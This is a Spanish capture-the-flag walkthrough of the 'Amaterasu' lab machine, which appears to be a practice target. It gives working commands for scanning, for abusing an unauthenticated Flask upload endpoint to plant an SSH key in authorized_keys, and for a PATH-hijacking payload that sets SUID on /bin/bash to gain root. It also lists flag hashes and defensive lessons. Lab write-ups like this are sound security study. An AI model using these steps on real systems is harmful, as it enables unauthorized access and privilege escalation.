Amaterasu
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Una API REST en Flask (puerto alto) expone/file-listy/file-uploadsin autenticar./file-listfiltra elhomey descubre aalfredocon su.ssh; con/file-uploadse sube nuestra clave pública comoauthorized_keysen/home/alfredo/.sshy entra SSH directa. Para root, un cron de root ejecuta un script que antepone/home/alfredo/restapial$PATHy llama atarsin ruta absoluta: se deja untarmalicioso ahí y en el siguiente minuto el cron pone SUID a/bin/bash.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El escaneo TCP completo saca cuatro puertos, todos en rangos poco habituales:
ping -c 1 192.168.167.249 # ttl=61 → Linux
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.167.249PORT STATE SERVICE
21/tcp open ftp
25022/tcp open ssh
33414/tcp open http
40080/tcp open httpnmap -p21,25022,33414,40080 -sCV 192.168.167.249 -oN targetedScanPORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
25022/tcp open ssh OpenSSH 8.6 (protocol 2.0)
33414/tcp open http Werkzeug httpd 2.2.3 (Python 3.9.13)
40080/tcp open http Apache httpd 2.4.53 ((Fedora))El FTP con login anónimo no devuelve listado, y el Apache de la 40080 solo muestra una "My test page" sin nada aprovechable. El puerto interesante es el 33414: un Werkzeug/Flask en Python, casi siempre una API hecha a mano donde el interés está en sus rutas, no en la portada.
API REST - TCP 33414
dirsearch encuentra dos rutas, y /help (autodocumentación típica de estas APIs) revela el resto de endpoints:
dirsearch -u http://192.168.167.249:33414/ --exclude-status=403,404
curl http://192.168.167.249:33414/help | jq[
"GET /info : General Info",
"GET /help : This listing",
"GET /file-list?dir=/tmp : List of the files",
"POST /file-upload : Upload files"
]/file-list es una fuga de información de manual: acepta un dir arbitrario y lista cualquier ruta del sistema. Recorriendo /home aparece el usuario alfredo, y su directorio contiene un .ssh:
curl "http://192.168.167.249:33414/file-list?dir=home" | jq
curl "http://192.168.167.249:33414/file-list?dir=home/alfredo" | jq["alfredo"]
[".bash_logout", ".bash_profile", ".bashrc", "local.txt", ".ssh", "restapi", ".bash_history"]Con un .ssh propio y un SSH escuchando en la 25022, el plan se dibuja solo: subir un authorized_keys con nuestra clave pública usando el /file-upload.
Shell como alfredo
Inyección de authorized_keys vía file-upload
Se genera un par de claves y se sube la pública. El endpoint filtra por extensión (solo .txt, .jpg…), así que la .pub se renombra a .txt; pero el propio formulario acepta un campo filename con la ruta de destino, y ahí se pone authorized_keys dentro del .ssh de alfredo:
ssh-keygen -f ./id_alfredo
mv id_alfredo.pub id_alfredo.txt
curl -X POST http://192.168.167.249:33414/file-upload \
-F file="@./id_alfredo.txt" \
-F filename="/home/alfredo/.ssh/authorized_keys"
{"message":"File successfully uploaded"}El filtro solo mira la extensión del fichero enviado, no el filename de destino: por eso una .txt acaba escrita como authorized_keys. Se confirma con el propio /file-list que la clave quedó en su sitio, y se entra por SSH:
curl "http://192.168.167.249:33414/file-list?dir=home/alfredo/.ssh" | jq
# ["id_rsa", "id_rsa.pub", "authorized_keys"]
chmod 600 id_alfredo
ssh -i id_alfredo alfredo@192.168.167.249 -p 25022
[alfredo@fedora ~]$ cat local.txt && id
82c32f9016e0c291dce504228c54c40d
uid=1000(alfredo) gid=1000(alfredo) groups=1000(alfredo)Escalada de Privilegios
PATH hijacking en un cron de root
/etc/crontab deja ver un trabajo de root que corre cada minuto:
cat /etc/crontab
cat /usr/local/bin/backup-flask.sh*/1 * * * * root /usr/local/bin/backup-flask.sh#!/bin/sh
export PATH="/home/alfredo/restapi:$PATH"
cd /home/alfredo/restapi
tar czf /tmp/flask.tar.gz *El script comete dos errores que se combinan: antepone al $PATH una carpeta que alfredo controla (/home/alfredo/restapi) y luego invoca tar sin ruta absoluta. Es un PATH hijacking de libro: cuando el cron de root resuelve tar, mira primero en restapi, así que un ejecutable llamado tar que dejemos ahí se ejecuta como root. Se usa para poner SUID a /bin/bash:
cd /home/alfredo/restapi/
echo 'chmod u+s /bin/bash' > tar
chmod +x tar
# esperar al minuto...
ls -l /bin/bash # -rwsr-xr-x root root → ya tiene SUID
bash -pbash-5.1# id
uid=1000(alfredo) gid=1000(alfredo) euid=0(root) groups=1000(alfredo)bash -p conserva el euid=0 heredado del binario SUID en lugar de dejarlo caer, y eso es root efectivo.
local.txt / proof.txt
[alfredo@fedora ~]$ cat local.txt
82c32f9016e0c291dce504228c54c40d
bash-5.1# cat /root/proof.txt
4091b4f1a29ab67817fa858888b35d99
Cadena de ataque
API REST Flask (33414) sin auth
└─ /file-list?dir=home → usuario alfredo con .ssh
└─ /file-upload con filename=/home/alfredo/.ssh/authorized_keys
└─ inyección de nuestra clave pública → SSH como alfredo (25022)
└─ cron de root: backup-flask.sh antepone /home/alfredo/restapi al PATH
└─ tar sin ruta absoluta → PATH hijacking
└─ tar malicioso → chmod u+s /bin/bash → bash -p → rootLecciones aprendidas
- Un servidor
Werkzeug/Flasken un puerto alto casi nunca sirve una web al uso: son APIs a medida, y el valor está en enumerar sus rutas (/help,/info,dirsearch) antes que en la portada. - Un endpoint que acepta una ruta de fichero arbitraria (
dir=,filename=) sin restringirla al directorio de trabajo es una fuga y una escritura arbitraria a la vez; combinar/file-list(leer dónde está el.ssh) con/file-upload(escribirauthorized_keys) da acceso sin tocar una sola contraseña. - Un filtro de subida que solo valida la extensión del fichero enviado es inútil si el destino se controla por otro parámetro: aquí una
.txtacaba comoauthorized_keys. - El PATH hijacking depende de dos condiciones juntas: una entrada de
$PATHescribible por nosotros y una llamada a un binario por nombre relativo desde un contexto privilegiado. Cualquiera de las dos por separado no basta; scriptear con rutas absolutas (/usr/bin/tar) lo neutraliza.